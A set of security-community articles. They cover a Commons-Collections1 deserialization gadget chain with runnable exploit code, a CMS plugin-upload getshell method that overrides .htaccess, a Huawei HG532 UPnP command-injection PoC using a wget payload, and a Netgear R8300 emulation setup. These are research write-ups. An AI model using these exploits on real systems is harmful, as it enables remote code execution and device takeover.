<manifestFile>src/main/resources/META-INF/MANIFEST.MF</manifestFile>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
</plugin>
</plugins>
</build>
<manifestFile>src/main/resources/META-INF/MANIFEST.MF</manifestFile>
此配置是将上文创建的配置文件位置指定于此
### 7.使用Maven打包项目
mvn assembly:assembly
### 8.生成结束后会在target目录下生成一个xx-1.0-SNAPSHOT-jar-with-dependencies
## 代码实现被代理类
### 1.创建新项目
### 2.创建测试类和测试方法，也就是被加强的类
public class Test {
public void test(){
System.out.println("执行测试方法");
}
}
### 3.创建被加强的入口类
public class App {
public static void main(String[] args) {
System.out.println("********main*******");
new Test().test();
}
}
new Test().test();
创建Test类并调用test方法
### 4.配置加强类的启动JVM参数
-javaagent:E:\IdeaProject\Java-agent\agent\target\agent-1.0-SNAPSHOT-jar-with-dependencies.jar
-javaagent:上文打包的agent.jar路径
### 5.运行 加强类
因为在agent类中定义了使用反射对被加强类的test方法进行的前后置增强,所有在调用test方法之前调用增强打印，在调用test方法之后调用增强打印。做到了对被加强类的控制。
## 总结
此文实现了JavaAgent的使用方法，以Demo的形式深入理解Agent的AOP模式,在接下来的文章中将会分析内存马的实现等内容，助君安全之路一往无前. | 社区文章 |
# 谁动了我的智能家居？！
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
如今，智能生活真方便。一句语音、一个手势、一个微笑、甚至是眨眨眼，就能开启智慧新生活。作为人类，当家作主的自豪感不禁油然而生。感觉自己就是万物之王。
但，别得意得太久了。这个家真的是我们说了算吗？从技术角度而言，可能还真不是。
比如，光是5月份就曝出好几起路由器安全问题：百万余台韩国 Dasan 路由器中存在两个未修复的严重漏洞；DrayTek 路由器的0day 漏洞被用于修改
DNS 设置；TalkTalk 路由器中存在漏洞，用户WiFi 密码遭暴露；D-Link DIR-620 路由器被曝后门账户；逾1亿台物联网设备或遭
Z-Wave 攻击。甚至路由器安全还还上升到了国家安全的层面，比如俄罗斯国家黑客被指黑掉50万台路由器欲攻击乌克兰。
1、来者不善
360代码卫士团队代码安全实验室的IoT安全研究员指出，目前攻击者主要通过默认口令/口令猜解、未授权访问、命令注入及缓冲区溢出等方式对暴露在互联网上的Web远程管理接口、telnet、UPnP及tr069等服务发动远程攻击，以便取得设备的完整控制权限。而对于内网的路由器攻击，其步骤有：
1）攻击者发送带有执行代码的URL发给被攻击者；
2）被攻击者点击了此URL，则此URL会重定向到无线路由设备的管理地址；
3）URL中的攻击代码在无线路由设备中执行，可以实现下载木马、打开shell、密码嗅探等操作。
2、熙熙攘攘皆为利来
那么，我们的路由器为何会被盯上呢？俗话说无利不起早。
安全研究员表示，暴露在互联网上的物联网设备和服务器一样总是没日没夜的运转，而设备的拥有者极少会去关注其安全性，因此这些设备一旦存在已知或未知的漏洞，有利可图的攻击者便会利用Shodan、Zoomeye、Censys等网络空间搜索引擎搜寻大量拥有相同漏洞基因的设备，并通过攻击代码实现诸如篡改配置信息(DNS配置、ACL配置等)实现流量嗅探、中间人攻击及钓鱼等恶意行为，或植入后门程序及木马程序来为攻击者提供挖矿服务，或组建庞大的僵尸网络进而对特定组织、企业及国家进行DDoS攻击来实现利益最大化。
3、防黑还需自身硬
安全研究员表示，是时候该关心除PC端和移动端之外的物联网设备的安全了，物联网设备已成为个人、企业乃至国家重要的基础设施，其安全性不言而喻。我们亟需一项能快速检测这些物联网设备安全性的服务，通过这项服务检测并挖掘物联网设备潜在的安全风险，并提供相对应的安全加固建议，既有利于我们积极主动地构建更加安全的网络环境，又能让我们有能力保护物联网设备拒绝沦为黑客牟利的工具，为物联网设备保驾护航。
为此，360代码卫士团队专门推出了一个免费的固件安全检测服务 https://scanit.iot.360.net，帮助了解物联网设备固件的基本安全风险。
工控设备、服务器、路由器、摄像头……凡是你能想到的固件都适用于于这款工具。它简单易用，直接上传固件就能快速获知设备中可能存在的问题。
具体检测步骤演示如下：
1、上传固件。
如上传 firmware.bin。
2、开始检测。
上传成功后，点击“确认检测”，开始检测，如下。
3、获取检测结果。
检测完成后会直接跳转到检测结果页面，如下。
结果页面显示“固件风险提示”、“固件基本情况”和“文件系统信息”三大内容，让你对物联网设备的安全一目了然。
如遇棘手问题，还可通过邮件codesafe@360.net 联系技术大拿。 | 社区文章 |
# Commons-Collections1 反序列化
## 简要
网上已经很多对Commons-Collections1序列化链条分析的文章了，俗话说站在巨人的肩上才能看的更远，对于整个序列化与反序列化过程，接下来主要叙述我遇到的坑点与重点位置，为了更好的理解，在最后我会对整个过程中难以理解的地方用图片呈现。
环境准备：jdk1.8.0_60 commons-collections-3.2.1.jar
为了更好分析，我直接把代码贴出来，回溯分析
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
public class serialize {
public static void main(String[] args) throws Exception {
new serialize().run();
}
public void run() throws Exception{
deserialize(serialize(getObject()));
}
public Object getObject() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformer = new ChainedTransformer(transformers);
Map innermap = new HashedMap();
innermap.put("value", "value");
Map transformedMap = TransformedMap.decorate(innermap, null, transformer);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object cs = constructor.newInstance(Retention.class,transformedMap);
return cs;
}
public byte[] serialize ( final Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
public Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
ByteArrayInputStream in = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
}
首先声明Transformer的数组变量，ConstantTransformer在代码中的实现如下：
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
/*官方解答为
public ConstantTransformer(O constantToReturn)
Constructor that performs no validation. Use constantTransformer if you want that.
Parameters:
constantToReturn - the constant to return each time
*/
可以看到此方法返回构造器，咱们构造为Runtime类，接着调用了InvokerTransformer方法，源代码如下：
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
/*官方解答为
public InvokerTransformer(String methodName,
Class<?>[] paramTypes,
Object[] args)
Constructor that performs no validation. Use invokerTransformer if you want that.
Note: from 4.0, the input parameters will be cloned
Parameters:
methodName - the method to call
paramTypes - the constructor parameter types
args - the constructor arguments
*/
调用方法，方法类型与方法参数，结合Runtime类，最终达到调用exec，所以整个数组，转化为常用代码就是
Object a = Runtime.class.getMethod("getRuntime").invoke(null,null);
Runtime.class.getMethod("exec",String.class).invoke(a,"calc");
//简化 Runtime.getRuntime().exec("calc");
可能这边大家有个疑问， _Transformer_ 数组和简化这个多了 _invoke_ 方法，直接和简化一样不可以么，这时我就要简单叙述一下
_Runtime_ 执行命令的顺序，首先它要获取当前环境，也就是 _getRuntime_ ，然后使用 _exec_
执行命令，那这个反射是怎么执行的呢，首先和顺序一样，先要获取当前环境，也就是 _Object a_ ，这时得到的环境不能直接 _exec_
，这是反射本身导致的，有兴趣的小伙伴可以深入研究一下反射的原理，我这就不叙述了，然后再通过 _Runtime_ 类找到 _exec_
方法，反射调用刚刚获取到的环境 _Object a_ ，加上命令，这样就可以运行了。
接着运行到ChainedTransformer方法，源代码如下：
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
/*官方解答为
public ChainedTransformer(Transformer<? super T,? extends T>... transformers)
Constructor that performs no validation. Use chainedTransformer if you want that.
Parameters:
transformers - the transformers to chain, copied, no nulls
*/
将Transformer数组转化复制给Transformer对象，接着走到TransformedMap.decorate方法中，这边就不展开分析了，作用为给Map对象赋值Transformer的键值。接下来和之前的反射差不多，调用
_sun.reflect.annotation.AnnotationInvocationHandler_ 类，通过
_getDeclaredConstructor_ 获取带参构造器并使用 _newInstance_
赋值传参。其中有四个疑点，一，目前为止未看到如何到达命令执行，二，为什么对获取的构造器要执行 _setAccessible_
操作，三，Map必须要put值么，第四，最后构造器赋值传参为什么是 _Retention.class_ ，由此正向分析结束。我们从反序列化开始分析调用流程。
## 反序列化
既然上述分析到 _AnnotationInvocationHandler_ 类，那么反序列化肯定从 _readObject_ 开始，分析此类的
_readObject_ 方法，为了更好的分析，我们选择逐步分析，首先贴出整段代码
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
其中有两个个重要的点， _this.type_ 和 _this.memberValues_ ，这两个在之前构造器传参的时候带入。首先我们定位到
_var2=AnnotationType.getInstance(this.type)_ 获取 _this.type_ 实例化对象，这边随后再讲，继续到
_Iterator var4 = this.memberValues.entrySet().iterator();_ 可以看到恶意代码经过
_entrySet()_ 方法，这个方法源于Map接口，实现于抽象类 _AbstractMapDecorator_ ，重写在
_AbstractInputCheckedMapDecorator_ ，由下图可知处理后的数值
protected boolean isSetValueChecking() {
return true;
}
public Set entrySet() {
return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(this.map.entrySet(), this) : this.map.entrySet());
}
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
super(set);
this.parent = parent;
}
public Iterator iterator() {
return new AbstractInputCheckedMapDecorator.EntrySetIterator(this.collection.iterator(), this.parent);
}
protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
super(iterator);
this.parent = parent;
}
中间通过赋值到达 _var5.setValue((new
AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 +
"]")).setMember((Method)var2.members().get(var6)));_
看着很多，其实主要是为了不报错，我这直接贴出处理结果
之后通过之前对var4分析，到达var5对应的setValue方法，代码如下
private final AbstractInputCheckedMapDecorator parent;
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
可以看到this.parent就是之前var4，var4就是恶意代码的部分，这时会到达 _TransformedMap.checkSetValue_
方法，代码如下
protected final Transformer valueTransformer;
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
目前为止已经回溯结束，可能有些人还不明白，我这边再重复一下，到达这里以后，可以发现和 _valueTransformer_ 就是之前
_TransformedMap.decorate_ 传入的恶意代码，由 _ChainedTransformer_
方法将Transformer数组转化复制给Transformer对象，之后经过 _ChainedTransformer.transform_ 方法，最终到达
_InvokerTransformer_ 类中transform方法，代码如下，达到运行命令
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
回溯完以后，解答一下之前提出的疑问，第一个已经解答。二，执行 _setAccessible_ 操作是因为
_AnnotationInvocationHandler_
类的readObject方法为私有。三，Map必须要put赋值键为value，因为之后var6会获取var5的键值，var7又会获取var6的类，如果var7获取不到，那么无法到达执行点（var2获取到的对象中Member
types: {value=class java.lang.annotation.RetentionPolicy}，Map var3 =
var2.memberTypes()，var7执行get方法时只有value可以获取）。四，首先构造器传参第一个参数必须是class对象，那么符合原生class属性的有Override
、Deprecated 、SuppressWarnings 、Retention 、Documented 、Target 、Inherited
、SafeVarargs 、FunctionalInterface
和Repeatable，具体我就不分析了，我把我找到可以用的贴出来，SuppressWarnings、Target、Repeatable和Retention。 | 社区文章 |
**写在前面**
上网中无意碰到一个cms,故从官网上拉了源码，本地看了一个下午，发现个上传，cnvd没有相关记录，就提交了。
**利用**
后台的上传，实际没太大作用，全当锻炼一下看代码能力。。。。。先说怎么利用吧：
后台存在\application\admin\controller\Weapp.php 控制器
但是后台管理界面未找到对应功能点，于是通过抓包访问：
修改标红部分：
到达插件上传界面：
然后上传插件weapp.zip（文件名就叫weapp）
其内部格式如下：
其中.htaccess 文件内容为空;
ssss.php 为shell 文件;
config.php 的文件内容需要和\data\weapp\Sample\weapp\Sample\config.php
中的内容格式保持一致，其中键不变，值可以修改;
例如：
然后上传,上传后会显示插件不存在,但是网站根目录下的weapp文件中已经保存了上传的文件：
访问ssss.php getshell
**分析**
总体来说不难，就是绕来绕去。。。
首先这个插件上传功能点就找了很久没找到，因为主要还是黑盒为主测试，后来还是看源码的发现有这么个东西。
路由什么的就不说了，基本上就那样，admin下面Weapp.php中存在upload方法：
这个上传并解压看上去就很有搞头
public function upload()
{
//防止php超时
function_exists('set_time_limit') && set_time_limit(0);
if (IS_AJAX_POST) {
$admin_info = session('admin_info');
/*只限于创始人安装*/
if (empty($admin_info) || -1 != $admin_info['role_id']) {
$this->error('没有安装权限！');
}
/*--end*/
if (empty($admin_info['weapp_info']['firstInstallpwd'])) {
$pwd = input('post.pwd/s');
$installpwd = func_encrypt($pwd);
if (empty($installpwd)) {
$this->error('请录入插件安装密码！');
} else {
$weapp_installpwd = tpCache('weapp.weapp_installpwd');
if ($weapp_installpwd != $installpwd) {
$this->error('插件安装密码不正确！');
}
}
$admin_info['weapp_info']['firstInstallpwd'] = $installpwd;
session('admin_info', $admin_info);
}
$fileExt = 'zip';
$savePath = UPLOAD_PATH.'tmp'.DS;
$image_upload_limit_size = intval(tpCache('basic.file_size') * 1024 * 1024);
$file = request()->file('weappfile');
if(empty($file)){
$this->error('请先上传zip文件');
}
$error = $file->getError();
if(!empty($error)){
$this->error($error);
}
$result = $this->validate(
['file' => $file],
['file'=>'fileSize:'.$image_upload_limit_size.'|fileExt:'.$fileExt],
['file.fileSize' => '上传文件过大','file.fileExt'=>'上传文件后缀名必须为'.$fileExt]
);
if (true !== $result || empty($file)) {
$this->error($result);
}
// 移动到框架应用根目录/public/upload/tmp/ 目录下
$folderName = session('admin_id').'-'.dd2char(date("ymdHis").mt_rand(100,999)); // 文件名，不带扩展名
$fileName = $folderName.'.'.$fileExt; // 上传之后的文件全名
/*使用自定义的文件保存规则*/
$info = $file->rule(function ($file) {
return $folderName;
})->move($savePath, $folderName);
/*--end*/
if ($info) {
$filepath = $savePath.$fileName;
if (file_exists($filepath)) {
/*解压之前，删除存在的文件夹*/
delFile($savePath.$folderName);
/*--end*/
/*解压文件*/
$zip = new \ZipArchive();//新建一个ZipArchive的对象
if ($zip->open($savePath.$fileName) != true) {
$this->error("插件压缩包读取失败!", url('Weapp/index'));
}
$zip->extractTo($savePath.$folderName.DS);//假设解压缩到在当前路径下插件名称文件夹内
$zip->close();//关闭处理的zip文件
/*--end*/
/*获取插件目录名称*/
$dirList = glob($savePath.$folderName.DS.WEAPP_DIR_NAME.DS.'*');
$weappPath = !empty($dirList) ? $dirList[0] : '';
if (empty($weappPath)) {
@unlink(realpath($savePath.$fileName));
delFile($savePath.$folderName, true);
$this->error('插件压缩包缺少目录文件', url('Weapp/index'));
}
$weappPath = str_replace("\\", DS, $weappPath);
$weappPathArr = explode(DS, $weappPath);
$weappName = $weappPathArr[count($weappPathArr) - 1];
// if (is_dir(ROOT_PATH.WEAPP_DIR_NAME.DS.$weappName)) {
// $this->error("已存在同名插件{$weappName}，请手工移除".WEAPP_DIR_NAME.DS.$weappName."目录");
// }
/*--end*/
/*修复非法插件上传，导致任意文件上传的漏洞*/
$configfile = $savePath.$folderName.DS.WEAPP_DIR_NAME.DS.$weappName.'/config.php';
if (!file_exists($configfile)) {
@unlink(realpath($savePath.$fileName));
delFile($savePath.$folderName, true);
$this->error('插件不符合标准！', url('Weapp/index'));
} else {
$configdata = include($configfile);
if (empty($configdata) || !is_array($configdata)) {
@unlink(realpath($savePath.$fileName));
delFile($savePath.$folderName, true);
$this->error('插件不符合标准！', url('Weapp/index'));
} else {
$sampleConfig = include(DATA_NAME.DS.'weapp'.DS.'Sample'.DS.'weapp'.DS.'Sample'.DS.'config.php');
foreach ($configdata as $key => $val) {
if ('permission' != $key && !isset($sampleConfig[$key])) {
@unlink(realpath($savePath.$fileName));
delFile($savePath.$folderName, true);
$this->error('插件不符合标准！', url('Weapp/index'));
}
}
}
}
/*--end*/
// 递归复制文件夹
$copy_bool = recurse_copy($savePath.$folderName, rtrim(ROOT_PATH, DS));
if (true !== $copy_bool) {
$this->error($copy_bool);
}
/*删除上传的插件包*/
@unlink(realpath($savePath.$fileName));
@delFile($savePath.$folderName, true);
/*--end*/
/*安装插件*/
$configfile = WEAPP_DIR_NAME.DS.$weappName.'/config.php';
if (file_exists($configfile)) {
$configdata = include($configfile);
$code = isset($configdata['code']) ? $configdata['code'] : 'error_'.date('Ymd');
Db::name('weapp')->where(['code'=>$code])->delete();
$addData = [
'code' => $code,
'name' => isset($configdata['name']) ? $configdata['name'] : '配置信息不完善',
'config' => empty($configdata) ? '' : json_encode($configdata),
'data' => '',
'add_time' => getTime(),
];
$weapp_id = Db::name('weapp')->insertGetId($addData);
if (!empty($weapp_id)) {
$this->install($weapp_id);
}
}
/*--end*/
}
}else{
//上传错误提示错误信息
$this->error($info->getError());
}
}
}
有注释，好看懂，给作者点赞。
下面这段主要意思大概是设置一个上传密码，然后第一次上传会进行验证，不是重点，带过带过。。。
function_exists('set_time_limit') && set_time_limit(0);
if (IS_AJAX_POST) {
$admin_info = session('admin_info');
/*只限于创始人安装*/
if (empty($admin_info) || -1 != $admin_info['role_id']) {
$this->error('没有安装权限！');
}
/*--end*/
if (empty($admin_info['weapp_info']['firstInstallpwd'])) {
$pwd = input('post.pwd/s');
$installpwd = func_encrypt($pwd);
if (empty($installpwd)) {
$this->error('请录入插件安装密码！');
} else {
$weapp_installpwd = tpCache('weapp.weapp_installpwd');
if ($weapp_installpwd != $installpwd) {
$this->error('插件安装密码不正确！');
}
}
$admin_info['weapp_info']['firstInstallpwd'] = $installpwd;
session('admin_info', $admin_info);
}
从681行开始看：
先设定了后缀（zip）、路径等信息,然后进行验证等，最后在/public/upload/tmp/下创建临时文件，调试进入if ($info)判断：
这里看到725行：
$dirList = glob($savePath.$folderName.DS.WEAPP_DIR_NAME.DS.'*');
$weappPath = !empty($dirList) ? $dirList[0] : '';
if (empty($weappPath)) {
@unlink(realpath($savePath.$fileName));
delFile($savePath.$folderName, true);
$this->error('插件压缩包缺少目录文件', url('Weapp/index'));
}
通过glob获取后面那个文件里面的信息，其中WEAPP_DIR_NAME是：
这个已经指定了为weapp，所以插件的压缩包要以这个命名，否则$dirList就为空了，进而$weappPath就为空，进入if
(empty($weappPath))就会报错。
再往下看：
743行会验证是否存在这个config.php
文件，749行还要验证文件内容是否为数组，所以前面利用时，在weapp下新建AAAAAAA文件夹，文件夹里面就是内容特定的config.php文件，具体什么内容，下面再说，
接着看下面：
进入else之后，会include一个文件，内容是\data\weapp\Sample\weapp\Sample\config.php：
Include这个文件后会赋值给$sampleConfig变量，然后会将上传的config.php中的内容与$sampleConfig进行键值相关内容对比，因此前面说的config.php内容为数组，内容要与这个文件内容结构保持一致就是这个意思，就是防止进入if判断然后报错。
然后往下走进入recurse_copy：
跟进recurse_copy：
这里的$dst就是网站根目录，然后$file = readdir($dir)就是我们上传的压缩包的名称，
weapp.zip 对应的文件夹名称就是 weapp,因此通过该函数会将上传的插件内容复制到网站根目录下的weapp文件夹中。
而原本网站根目录下刚好存在weapp文件，其中有个.htaccess文件
该文件限制了php脚本的执行
因此上传的时候要传一个空的.htaccess文件来覆盖原本的文件，从而解除限制。
复制完成之后：
这时候访问ssss.php就能getshell了
**后话**
分析得有点稍显凌乱，上传那个插件后面都没跟了，有大佬有兴趣可以跟下，记得带带我，嘻嘻嘻 | 社区文章 |
Author: 404 Security Team @ Knownsec
Chinese version: <https://paper.seebug.org/490/>
#### Background
Huawei HG532 Series Router is a high-speed wireless router designed for
household and small office customers. On Nov.27，Check Point researchers
reported an RCE(remote command execution) vulnerability (CVE-2017-17215)
related to Huawei HG532 Routers[【1】](https://research.checkpoint.com/good-zero-day-skiddie/ "Check Point vulnerability report").
Before being discovered and reported, this unnoticed Zero-Day vulnerability
had already attracted numerous attacks on the Internet, and many exploit
packages have already spread all over the world in many countries and regions.
The delivered payload has been identified as OKIRU/SATORI, an updated variant
of Mirai. The main function of this payload is to send elaborated UDP/TCP
message so as to launch DDoS(Distributed Denial of Service) against targets,
which is pretty simple.
On Nor.23, ZoomEye Network Detector System also had captured this payload.
#### Vulnerability Analyzation
##### Download Firmware
There is a public firmware, HG532e version, available on the Internet.
Download link:
[【2】](https://ia601506.us.archive.org/22/items/RouterHG532e/router%20HG532e.rar
"HG532e firmware download link")
After downloading, directly using binwalk to extract it.
The target system is 32-bit, big-endian MIPS architecture.
##### Vulnerability Analyzation
According to the report of Check
Point[【1】](https://research.checkpoint.com/good-zero-day-skiddie/ "Check Point
vulnerability report"), the vulnerability point of the RCE vulnerability is
located in the UPnP service.
Universal Plug and Play (UPnP) is a set of networking protocols that permits
networked devices, such as personal computers, printers, Internet gateways,
Wi-Fi access points and mobile devices to seamlessly discover each other's
presence on the network and establish functional network services for data
sharing, communications, and entertainment.
Directly analyzing the code-named "upnp", responsible for UPnP service, with
IDA pro and utilizing the string, "NewStatusURL", to locate the vulnerability
point.
Keeping track of the cross-referenced data
The vulnerability shows as below:
The definition of the function ATP_XML_GetChildNodeByName as below:
Firstly, this program did the parse of SOAP XML message and received the value
of two elements, NewDownloadURL and NewStatusURL.
Then, this program did the following joint and called system() function to
execute finally.
snprintf($s0, 0x400, 'upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -', NewDownloadURL, NewStatusURL)
system($s0)
`upg` is one upgrade program for routers and its parameters are as follows.
Now, we have two points to execute command injection, one is NewDownloadURL
and the other is NewStatusURL.
##### Vulnerability verification
The target system provides the following commands.
Utilizing wget command to test the vulnerability. Sending the following
message.
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;/bin/busybox wget -g 192.168.1.2 -l /tmp/1 -r /1;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://192.168.1.1:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
As you see, we receive the request on the listened port successfully.
It is worth mentioning that the UPnP service and firewall of HG532e routers
are enabled by default. The default level of the firewall is low.
Under default configurations, any access to 37215 port though WAN will be
intercepted, leading the defeat of vulnerability exploitation.
##### Protection scheme
On Nor.30, the Huawei released the security
notice[【4】](http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en "Huawei's Security Notice") and verified this
vulnerability.
The notice mentioned the following measures to mitigate the situations.
* Configure the built-in firewall function.
* Change the default password.
* Deploy a firewall at the carrier side.
Due to the absence of the firmware upgrade packages, there is no patches
analyzation.
#### Conclusion
1. Similar to the command injection in SetNTPServers, Broadband Routers in Ireland[【3】](https://www.seebug.org/vuldb/ssvid-97024 "Eir’s D1000 Modem Is Wide Open To Being Hacked."), this vulnerability seems to be a simple concatenation of command.
2. This vulnerability also provides a good direction for researchers when discovering vulnerabilities. Pay more attention to the code near the functions like snprintf() and system().
3. Any variations which can access to functions are detrimental. Most RCE vulnerabilities happen with the lack of filtration, leading to the command concatenation, or without suitable control for the length of variations, causing the buffer overflow. In term of this point, equipment supplier is supposed to undertake the responsibility. It is important to develop software with security awareness.
#### Reference link
【1】: Check Point vulnerability report
<https://research.checkpoint.com/good-zero-day-skiddie/>
【2】: HG532e firmware download link
<https://ia601506.us.archive.org/22/items/RouterHG532e/router%20HG532e.rar>
【3】: Eir’s D1000 Modem Is Wide Open To Being Hacked.
<https://www.seebug.org/vuldb/ssvid-97024>
【4】: Huawei's Security Notice
<http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en>
* * * | 社区文章 |
# PSV-2020-0211-Netgear-R8300-UPnP栈溢出漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞简介
`PSV-2020-0211`对应`Netgear`
`R8300`型号路由器上的一个缓冲区溢出漏洞，`Netgear`官方在2020年7月31日发布了[安全公告](https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211)，8月18日`SSD`公开了该漏洞的相关[细节](https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/)。该漏洞存在于设备的`UPnP`服务中，由于在处理数据包时缺乏适当的长度校验，通过发送一个特殊的数据包可造成缓冲区溢出。利用该漏洞，未经认证的用户可实现任意代码执行，从而获取设备的控制权。
该漏洞本身比较简单，但漏洞的利用思路值得借鉴，下面通过搭建`R8300`设备的仿真环境来对该漏洞进行分析。
## 漏洞分析
### 环境搭建
根据官方发布的安全公告，在版本`V1.0.2.134`中修复了该漏洞，于是选取之前的版本`V1.0.2.130`进行分析。由于手边没有真实设备，打算借助`qemu`工具来搭建仿真环境。[文章](https://paper.seebug.org/1311)通过`qemu
system mode`的方式来模拟整个设备的系统，我个人更偏向于通过`qemu user
mode`的方式来模拟单服务。当然，这两种方式可能都需要对环境进行修复，比如文件/目录缺失、`NVRAM`缺失等。
用`binwalk`对固件进行解压提取后，运行如下命令启动`UPnP`服务。
# 添加`--strace`选项, 方便查看错误信息, 便于环境修复
<extracted squashfs-root>$ sudo chroot . ./qemu-arm-static --strace ./usr/sbin/upnpd
运行后提示如下错误，根据对应的目录结构，通过运行命令`mkdir -p tmp/var/run`解决。
18336 open("/var/run/upnpd.pid",O_RDWR|O_CREAT|O_TRUNC,0666) = -1 errno=2 (No such file or directory)
之后再次运行上述命令，提示大量的错误信息，均与`NVRAM`有关，该错误在进行`IoT`设备仿真时会经常遇到。`NVRAM`中保存了设备的一些配置信息，而程序运行时需要读取配置信息，由于缺少对应的外设，因此会报错。一种常见的解决方案是`"劫持"`与`NVRAM`读写相关的函数，通过软件的方式来提供相应的配置。
网上有很多类似的模拟`NVRAM`行为的库，我个人经常使用`Firmadyne`框架提供的`libnvram`库：支持很多常见的`api`，对很多嵌入式设备进行了适配，同时还会解析固件中默认的一些`NVRAM`配置，实现方式比较优雅。采用该库，往往只需要做很少的改动，甚至无需改动，就可以满足需求。
参考`libnvram`的[文档](https://github.com/firmadyne/libnvram)，编译后然后将其置于文件系统中的`firmadyne`路径下，然后通过`LD_PRELOAD`环境变量进行加载，命令如下。
<extracted squashfs-root>$ sudo chroot . ./qemu-arm-static --strace -E LD_PRELOAD=./firmadyne/libnvram.so.armel ./usr/sbin/upnpd
运行后提示缺少某个键值对，在`libnvram/config.h`中添加对应的配置，编译后重复进行测试，直到程序成功运行起来即可，最终`libnvram/config.h`的变化如下。
diff --git a/config.h b/config.h
index 9908414..6598eba 100644
--- a/config.h
+++ b/config.h
@@ -50,8 +50,10 @@
ENTRY("sku_name", nvram_set, "") \
ENTRY("wla_wlanstate", nvram_set, "") \
ENTRY("lan_if", nvram_set, "br0") \
- ENTRY("lan_ipaddr", nvram_set, "192.168.0.50") \
- ENTRY("lan_bipaddr", nvram_set, "192.168.0.255") \
+ /* ENTRY("lan_ipaddr", nvram_set, "192.168.0.50") */ \
+ ENTRY("lan_ipaddr", nvram_set, "192.168.200.129") \
+ /* ENTRY("lan_bipaddr", nvram_set, "192.168.0.255") */ \
+ ENTRY("lan_bipaddr", nvram_set, "192.168.200.255") \
ENTRY("lan_netmask", nvram_set, "255.255.255.0") \
/* Set default timezone, required by multiple images */ \
ENTRY("time_zone", nvram_set, "EST5EDT") \
@@ -70,6 +72,10 @@
/* Used by "DGND3700 Firmware Version 1.0.0.17(NA).zip" (3425) to prevent crashes */ \
ENTRY("time_zone_x", nvram_set, "0") \
ENTRY("rip_multicast", nvram_set, "0") \
- ENTRY("bs_trustedip_enable", nvram_set, "0")
